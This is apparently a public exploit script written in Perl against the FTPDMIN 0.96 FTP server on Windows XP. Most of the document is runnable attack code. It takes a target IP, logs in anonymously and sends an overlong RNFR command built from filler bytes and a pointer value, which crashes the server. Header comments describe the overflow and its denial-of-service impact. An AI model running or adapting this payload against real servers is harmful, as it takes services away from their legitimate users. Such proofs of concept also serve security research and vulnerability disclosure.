#!/usr/bin/perl
use Net::FTP;
# Exploit Title: FTPDMIN 0.96 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 02 january 2024
# Vendor Homepage: https://www.sentex.ca/~mwandel/ftpdmin/
# Download to demo: https://drive.google.com/file/d/1CpfvaJbJVxR3HPWvcxIVipTaTj7RAaLd/view?usp=sharing
# Notification vendor: Yes reported
# Tested Version: FTPDMIN 0.96
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
# Vídeo: https://www.youtube.com/watch?v=q-CVJfYdd-g
#1. Description
#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The server did not properly handle request with large amounts of data via FTP command RNFR.
#The following request sends a large amount of data to the FTP server to process across command RNFR, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.
#2. Proof of Concept - PoC
$sis="$^O";
if ($sis eq "windows"){
$cmd="cls";
} else {
$cmd="clear";
}
system("$cmd");
intro();
main();
print "[+] Exploiting... \n";
my $buf = "\x41"x269;
my $point = "\x45\x2a\x42\x7b";
my $buf2 = "\x41"x126;
my $payload = "RNFR ".$buf . $point . $buf2;
my $ftp = Net::FTP->new($ip, Debug => 0) or die "Can't connect to server: $@";
$ftp->login("anonymous",'anonymous');
$ftp->quot($payload);
$ftp->quit;
print "[+] Done - Exploited success!!!!!\n\n";
sub intro {
print "***************************************************\n";
print "* FTPDMIN 0.96 - Denied of Service *\n";
print "* *\n";
print "* Coded by Fernando Mengali *\n";
print "* *\n";
print "* e-mail: fernando.mengalli\@gmail.com *\n";
print "* *\n";
print "***************************************************\n";
}
sub main {
our ($ip) = @ARGV;
unless (defined($ip)) {
print " \nUsage: $0 <ip> \n";
exit(-1);
}
}
#3. Solution/ How to fix:
# This version product is deprecated
